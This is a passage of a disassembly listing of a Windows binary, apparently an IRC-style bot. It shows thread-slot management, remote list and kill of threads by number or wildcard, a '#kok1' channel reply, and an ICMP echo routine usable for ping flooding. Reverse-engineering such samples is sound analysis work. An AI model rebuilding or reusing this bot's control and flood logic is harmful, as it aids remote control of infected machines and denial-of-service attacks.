; ---------------------------------------------------------------------------


loc_409381:				; CODE XREF: sub_409318+1Ej
					; sub_409318+26j ...
		call	dword_4170D0	; GetTickCount
		sub	eax, dword_41E2A0

locret_40938D:				; CODE XREF: sub_409318+67j
		leave
		retn
sub_409318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40938F	proc near		; CODE XREF: cAddress:004168C6p
		push	ebp
		mov	ebp, esp
		and	dword_41E2C0, 0
		push	1980h
		call	sub_416B46	; malloc
		pop	ecx
		mov	dword_41E2C8, eax
		push	offset dword_41E2A8
		call	sub_409C36
		pop	ecx
		pop	ebp
		retn
sub_40938F	endp

; ---------------------------------------------------------------------------


loc_4093B6:				; DATA XREF: sub_409479+35o
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417278
		push	offset word_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		and	dword ptr [ebp-20h], 0
		and	dword ptr [ebp-1Ch], 0
		and	dword ptr [ebp-4], 0
		mov	eax, [ebp+8]
		mov	eax, [eax]
		mov	[ebp-20h], eax
		mov	eax, [ebp+8]
		mov	eax, [eax+4]
		mov	[ebp-1Ch], eax
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		push	dword ptr [ebp-20h]
		call	dword_4170DC	; IsBadCodePtr
		test	eax, eax
		jz	short loc_409431
		cmp	dword_41DE08, 0
		jz	short loc_40942F
		push	dword ptr [ebp-20h]
		push	offset dword_419474
		push	offset aKok1	; "#kok1"
		call	sub_40D4AB
		add	esp, 0Ch


loc_40942F:				; CODE XREF: cAddress:00409418j
		jmp	short loc_409443
; ---------------------------------------------------------------------------


loc_409431:				; CODE XREF: cAddress:0040940Fj
		push	dword ptr [ebp-1Ch]
		call	dword ptr [ebp-20h]
		mov	[ebp-24h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-24h]
		jmp	short loc_409468
; ---------------------------------------------------------------------------


loc_409443:				; CODE XREF: cAddress:loc_40942Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_409466
; ---------------------------------------------------------------------------
aHpfa		db 'hp”A',0
aHhfa		db 'hh”A',0
		db 0FFh
		dd 0D0E8EC75h, 83FFFF9Eh, 8BC30CC4h, 4D83E865h
		db 0FCh, 0FFh
; ---------------------------------------------------------------------------


loc_409466:				; CODE XREF: cAddress:00409447j
		xor	eax, eax


loc_409468:				; CODE XREF: cAddress:00409441j
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409479	proc near		; CODE XREF: cAddress:00407797p
					; sub_409BF1+2Fp ...

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	8
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_409494
		xor	eax, eax
		jmp	short locret_4094E4
; ---------------------------------------------------------------------------


loc_409494:				; CODE XREF: sub_409479+15j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	[ebp+var_C]
		push	offset loc_4093B6
		push	20000h
		push	0
		call	sub_416DC0	; _beginthreadex
		add	esp, 18h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4094D9
		push	[ebp+var_4]
		call	dword_4170A4	; CloseHandle
		push	1
		pop	eax
		jmp	short locret_4094E4
; ---------------------------------------------------------------------------


loc_4094D9:				; CODE XREF: sub_409479+50j
		push	[ebp+var_C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax

locret_4094E4:				; CODE XREF: sub_409479+19j
					; sub_409479+5Ej
		leave
		retn
sub_409479	endp

; ---------------------------------------------------------------------------


loc_4094E6:				; DATA XREF: sub_4095A4+159o
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417288
		push	offset word_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	al, byte_41DE00
		mov	[ebp-19Ch], al
		push	60h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-19Bh]
		rep stosd
		stosw
		stosb
		and	dword ptr [ebp-4], 0
		mov	eax, [ebp+8]
		mov	eax, [eax]
		mov	eax, [eax+10h]
		mov	[ebp-1A0h], eax
		mov	eax, [ebp+8]
		mov	eax, [eax]
		add	eax, 14h
		push	eax
		lea	eax, [ebp-19Ch]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	dword ptr [ebp+8]
		mov	eax, [ebp+8]
		mov	eax, [eax]
		call	dword ptr [eax+10h]
		mov	[ebp-1A4h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-1A4h]
		jmp	short loc_409593
; ---------------------------------------------------------------------------
		dw 858Dh
		dd 0FFFFFE64h, 94686850h, 75FF0041h, 9DA5E8ECh,	0C483FFFFh
		dd 658BC30Ch, 0FC4D83E8h
		db 0FFh, 33h, 0C0h
; ---------------------------------------------------------------------------


loc_409593:				; CODE XREF: cAddress:00409570j
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4095A4	proc near		; CODE XREF: sub_4017AA+A2p
					; sub_401D6E+8Dp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		cmp	dword_41E2C0, 10h
		jnz	short loc_4095D9
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_4095D9:				; CODE XREF: sub_4095A4+18j
		cmp	[ebp+arg_8], 0
		jz	short loc_409627
		and	[ebp+var_10], 0
		jmp	short loc_4095EC
; ---------------------------------------------------------------------------


loc_4095E5:				; CODE XREF: sub_4095A4:loc_409625j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_4095EC:				; CODE XREF: sub_4095A4+3Fj
		cmp	[ebp+var_10], 10h
		jge	short loc_409627
		mov	eax, [ebp+var_10]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		mov	eax, [ecx+eax+10h]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_409625
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_409625:				; CODE XREF: sub_4095A4+64j
		jmp	short loc_4095E5
; ---------------------------------------------------------------------------


loc_409627:				; CODE XREF: sub_4095A4+39j
					; sub_4095A4+4Cj
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		jmp	short loc_409638
; ---------------------------------------------------------------------------


loc_409631:				; CODE XREF: sub_4095A4:loc_409672j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_409638:				; CODE XREF: sub_4095A4+8Bj
		cmp	[ebp+var_8], 10h
		jge	short loc_409674
		mov	eax, [ebp+var_8]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		cmp	dword ptr [ecx+eax+8], 0
		jnz	short loc_409672
		mov	eax, [ebp+var_8]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		add	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		jmp	short loc_409674
; ---------------------------------------------------------------------------


loc_409672:				; CODE XREF: sub_4095A4+AEj
		jmp	short loc_409631
; ---------------------------------------------------------------------------


loc_409674:				; CODE XREF: sub_4095A4+98j
					; sub_4095A4+CCj
		cmp	[ebp+var_C], 0
		jnz	short loc_409695
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_409695:				; CODE XREF: sub_4095A4+D4j
		cmp	[ebp+arg_4], 0
		jz	short loc_4096A3
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx


loc_4096A3:				; CODE XREF: sub_4095A4+F5j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[eax+10h], ecx
		lea	eax, [ebp+arg_10]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_C]
		mov	eax, [ebp+var_C]
		add	eax, 14h
		push	eax
		call	sub_416DC6	; vsprintf
		add	esp, 0Ch
		and	[ebp+var_4], 0
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+4], 0
		mov	eax, dword_41E2C0
		inc	eax
		mov	dword_41E2C0, eax
		cmp	[ebp+arg_4], 0
		jz	short loc_4096EB
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		jmp	short loc_4096F1
; ---------------------------------------------------------------------------


loc_4096EB:				; CODE XREF: sub_4095A4+13Dj
		mov	eax, [ebp+var_C]
		mov	[ebp+var_14], eax


loc_4096F1:				; CODE XREF: sub_4095A4+145j
		mov	eax, [ebp+var_C]
		add	eax, 0Ch
		push	eax
		push	0
		push	[ebp+var_14]
		push	offset loc_4094E6
		push	0
		push	0
		call	sub_416DC0	; _beginthreadex
		add	esp, 18h
		mov	ecx, [ebp+var_C]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_409753
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, dword_41E2C0
		dec	eax
		mov	dword_41E2C0, eax
		push	198h
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	short locret_409761
; ---------------------------------------------------------------------------


loc_409753:				; CODE XREF: sub_4095A4+177j
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		push	1
		pop	eax

locret_409761:				; CODE XREF: sub_4095A4+30j
					; sub_4095A4+7Cj ...
		leave
		retn
sub_4095A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409763	proc near		; CODE XREF: cAddress:004012B7p
					; cAddress:0040178Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E2C0
		dec	eax
		mov	dword_41E2C0, eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		call	dword_4170A4	; CloseHandle
		push	198h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		pop	ebp
		retn
sub_409763	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097A7	proc near		; CODE XREF: sub_40A9CF+EBFp

var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 194h
		cmp	[ebp+arg_0], 0
		jnz	short loc_4097BB
		jmp	locret_4098F1
; ---------------------------------------------------------------------------


loc_4097BB:				; CODE XREF: sub_4097A7+Dj
		push	[ebp+arg_0]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_409825
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		cmp	[ebp+var_4], 10h
		jnb	short loc_409815
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_409815
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		mov	dword ptr [ecx+eax+4], 1


loc_409815:				; CODE XREF: sub_4097A7+3Fj
					; sub_4097A7+55j
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		jmp	locret_4098F1
; ---------------------------------------------------------------------------


loc_409825:				; CODE XREF: sub_4097A7+22j
		push	[ebp+arg_0]
		push	offset aS_0	; "*%s*"
		push	185h
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E2C0
		mov	[ebp+var_8], eax
		and	[ebp+var_194], 0
		jmp	short loc_40986A
; ---------------------------------------------------------------------------


loc_40985D:				; CODE XREF: sub_4097A7:loc_4098E1j
		mov	eax, [ebp+var_194]
		inc	eax
		mov	[ebp+var_194], eax


loc_40986A:				; CODE XREF: sub_4097A7+B4j
		cmp	[ebp+var_194], 10h
		jnb	short loc_4098E6
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_4098E1
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_190]
		push	eax
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		lea	eax, [ecx+eax+14h]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_4098D9
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		mov	dword ptr [ecx+eax+4], 1


loc_4098D9:				; CODE XREF: sub_4097A7+116j
		cmp	[ebp+var_8], 0
		jnz	short loc_4098E1
		jmp	short loc_4098E6
; ---------------------------------------------------------------------------


loc_4098E1:				; CODE XREF: sub_4097A7+E3j
					; sub_4097A7+136j
		jmp	loc_40985D
; ---------------------------------------------------------------------------


loc_4098E6:				; CODE XREF: sub_4097A7+CAj
					; sub_4097A7+138j
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx

locret_4098F1:				; CODE XREF: sub_4097A7+Fj
					; sub_4097A7+79j
		leave
		retn
sub_4097A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098F3	proc near		; CODE XREF: sub_40A9CF+F13p

var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_194		= byte ptr -194h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 19Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_409907
		jmp	locret_409AD3
; ---------------------------------------------------------------------------


loc_409907:				; CODE XREF: sub_4098F3+Dj
		push	[ebp+arg_0]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	loc_4099B4
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		cmp	[ebp+var_4], 10h
		jnb	short loc_4099A4
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_4099A4
		mov	eax, dword_41E2C0
		dec	eax
		mov	dword_41E2C0, eax
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_8], eax
		push	198h
		push	0
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		add	ecx, eax
		push	ecx
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	[ebp+var_8]
		call	dword_4170E0	; TerminateThread
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle


loc_4099A4:				; CODE XREF: sub_4098F3+43j
					; sub_4098F3+59j
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		jmp	locret_409AD3
; ---------------------------------------------------------------------------


loc_4099B4:				; CODE XREF: sub_4098F3+22j
		push	[ebp+arg_0]
		push	offset aS_0	; "*%s*"
		push	185h
		lea	eax, [ebp+var_194]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E2C0
		mov	[ebp+var_C], eax
		and	[ebp+var_198], 0
		jmp	short loc_4099F9
; ---------------------------------------------------------------------------


loc_4099EC:				; CODE XREF: sub_4098F3:loc_409AC3j
		mov	eax, [ebp+var_198]
		inc	eax
		mov	[ebp+var_198], eax


loc_4099F9:				; CODE XREF: sub_4098F3+F7j
		cmp	[ebp+var_198], 10h
		jnb	loc_409AC8
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	loc_409AC3
		mov	eax, [ebp+var_C]
		dec	eax
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_194]
		push	eax
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		lea	eax, [ecx+eax+14h]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_409ABB
		mov	eax, dword_41E2C0
		dec	eax
		mov	dword_41E2C0, eax
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_19C], eax
		push	198h
		push	0
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		add	ecx, eax
		push	ecx
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	[ebp+var_19C]
		call	dword_4170E0	; TerminateThread
		push	[ebp+var_19C]
		call	dword_4170A4	; CloseHandle


loc_409ABB:				; CODE XREF: sub_4098F3+161j
		cmp	[ebp+var_C], 0
		jnz	short loc_409AC3
		jmp	short loc_409AC8
; ---------------------------------------------------------------------------


loc_409AC3:				; CODE XREF: sub_4098F3+12Aj
					; sub_4098F3+1CCj
		jmp	loc_4099EC
; ---------------------------------------------------------------------------


loc_409AC8:				; CODE XREF: sub_4098F3+10Dj
					; sub_4098F3+1CEj
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx

locret_409AD3:				; CODE XREF: sub_4098F3+Fj
					; sub_4098F3+BCj
		leave
		retn
sub_4098F3	endp

; ---------------------------------------------------------------------------


loc_409AD5:				; DATA XREF: sub_409BF1+2Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 1A8h
		push	1A3h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-1A8h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		cmp	dword_41E2C0, 0
		jz	short loc_409B25
		push	10h
		push	dword_41E2C0
		push	offset dword_4194EC
		lea	eax, [ebp-1A8h]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_409B3F
; ---------------------------------------------------------------------------


loc_409B25:				; CODE XREF: cAddress:00409B05j
		push	offset dword_4194CC
		lea	eax, [ebp-1A8h]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	locret_409BED
; ---------------------------------------------------------------------------


loc_409B3F:				; CODE XREF: cAddress:00409B23j
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		and	byte ptr [ebp-10h], 0
		and	dword ptr [ebp-4], 0
		jmp	short loc_409B5B
; ---------------------------------------------------------------------------


loc_409B54:				; CODE XREF: cAddress:loc_409BDBj
		mov	eax, [ebp-4]
		inc	eax
		mov	[ebp-4], eax


loc_409B5B:				; CODE XREF: cAddress:00409B52j
		cmp	dword ptr [ebp-4], 10h
		jge	short loc_409BE0
		mov	eax, [ebp-4]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_409BDB
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		push	3E8h
		call	dword_41709C	; Sleep
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		mov	eax, [ebp-4]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		lea	eax, [ecx+eax+14h]
		push	eax
		push	dword ptr [ebp-4]
		push	offset dword_4194BC
		lea	eax, [ebp-1A8h]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	eax, [ebp-4]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		cmp	dword ptr [ecx+eax+4], 0
		jz	short loc_409BDB
		jmp	short loc_409BE0
; ---------------------------------------------------------------------------


loc_409BDB:				; CODE XREF: cAddress:00409B75j
					; cAddress:00409BD7j
		jmp	loc_409B54
; ---------------------------------------------------------------------------


loc_409BE0:				; CODE XREF: cAddress:00409B5Fj
					; cAddress:00409BD9j
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax

locret_409BED:				; CODE XREF: cAddress:00409B3Aj
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409BF1	proc near		; CODE XREF: sub_40A9CF+AFBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A3h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_409C0B
		jmp	short locret_409C34
; ---------------------------------------------------------------------------


loc_409C0B:				; CODE XREF: sub_409BF1+16j
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		push	offset loc_409AD5
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short locret_409C34
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx

locret_409C34:				; CODE XREF: sub_409BF1+18j
					; sub_409BF1+38j
		leave
		retn
sub_409BF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C36	proc near		; CODE XREF: sub_405FA3+9p
					; sub_40938F+1Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	18h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		cmp	dword_41DE10, 0
		jz	short loc_409C61
		push	80000400h
		push	[ebp+arg_0]
		call	dword_41DE10	; InitializeCriticalSectionAndSpinCount
		jmp	short loc_409C6A
; ---------------------------------------------------------------------------


loc_409C61:				; CODE XREF: sub_409C36+19j
		push	[ebp+arg_0]
		call	dword_4170E4	; InitializeCriticalSection


loc_409C6A:				; CODE XREF: sub_409C36+29j
		pop	ebp
		retn
sub_409C36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C6C	proc near		; CODE XREF: sub_406041+10p
					; sub_4095A4+Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_4170EC	; RtlEnterCriticalSection
		pop	ebp
		retn
sub_409C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C7A	proc near		; CODE XREF: sub_406041+26p
					; sub_406041+307p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_41710C	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_409C7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C88	proc near		; CODE XREF: cAddress:0040333Bp
					; cAddress:00411928p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xadd [esi], eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409C88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C9D	proc near		; CODE XREF: sub_4042FB+17p
					; sub_4042FB+25p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xchg eax, [esi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409C9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409CB1	proc near		; CODE XREF: cAddress:00409FD2p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		call	dword_41E2CC
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_409CD8
		push	offset aCouldNotGetAVa ; "Could	not get	a valid	ICMP handle\n"
		call	sub_416DD8	; printf
		pop	ecx
		xor	eax, eax
		jmp	locret_409DCE
; ---------------------------------------------------------------------------


loc_409CD8:				; CODE XREF: sub_409CB1+13j
		push	8
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	al, [ebp+arg_8]
		mov	[ebp+var_18], al
		movzx	eax, [ebp+arg_10]
		push	eax
		call	sub_416DD2
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_C], eax
		movzx	eax, [ebp+arg_10]
		push	eax
		push	45h
		push	[ebp+var_C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		movzx	eax, [ebp+arg_10]
		cmp	eax, 8
		jge	short loc_409D26
		mov	[ebp+var_38], 8
		jmp	short loc_409D2D
; ---------------------------------------------------------------------------


loc_409D26:				; CODE XREF: sub_409CB1+6Aj
		movzx	eax, [ebp+arg_10]
		mov	[ebp+var_38], eax


loc_409D2D:				; CODE XREF: sub_409CB1+73j
		mov	eax, [ebp+var_38]
		add	eax, 1Ch
		mov	[ebp+var_24], eax
		push	[ebp+var_24]
		call	sub_416DD2
		pop	ecx
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax
		push	[ebp+arg_C]
		push	[ebp+var_24]
		push	[ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		movzx	ax, [ebp+arg_10]
		push	eax
		push	[ebp+var_C]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		call	dword_41E2D8
		mov	[ebp+var_20], eax
		mov	[ebp+var_8], 1
		cmp	[ebp+var_20], 1
		jz	short loc_409D8D
		call	dword_417064	; RtlGetLastWin32Error
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_409DA4
; ---------------------------------------------------------------------------


loc_409D8D:				; CODE XREF: sub_409CB1+CDj
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx+8]
		mov	[eax+8], ecx


loc_409DA4:				; CODE XREF: sub_409CB1+DAj
		push	[ebp+var_1C]
		call	dword_41E2D4
		mov	eax, [ebp+var_C]
		mov	[ebp+var_30], eax
		push	[ebp+var_30]
		call	sub_416DCC
		pop	ecx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_34], eax
		push	[ebp+var_34]
		call	sub_416DCC
		pop	ecx
		mov	eax, [ebp+var_8]

locret_409DCE:				; CODE XREF: sub_409CB1+22j
		leave
		retn
sub_409CB1	endp

; ---------------------------------------------------------------------------


loc_409DD0:				; DATA XREF: sub_40A1A7+FDo
		push	ebp
		mov	ebp, esp
		sub	esp, 2F0h
		push	2ACh
		push	dword ptr [ebp+8]
		lea	eax, [ebp-2B0h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, byte_41E2E0
		test	eax, eax
		jnz	short loc_409E6D
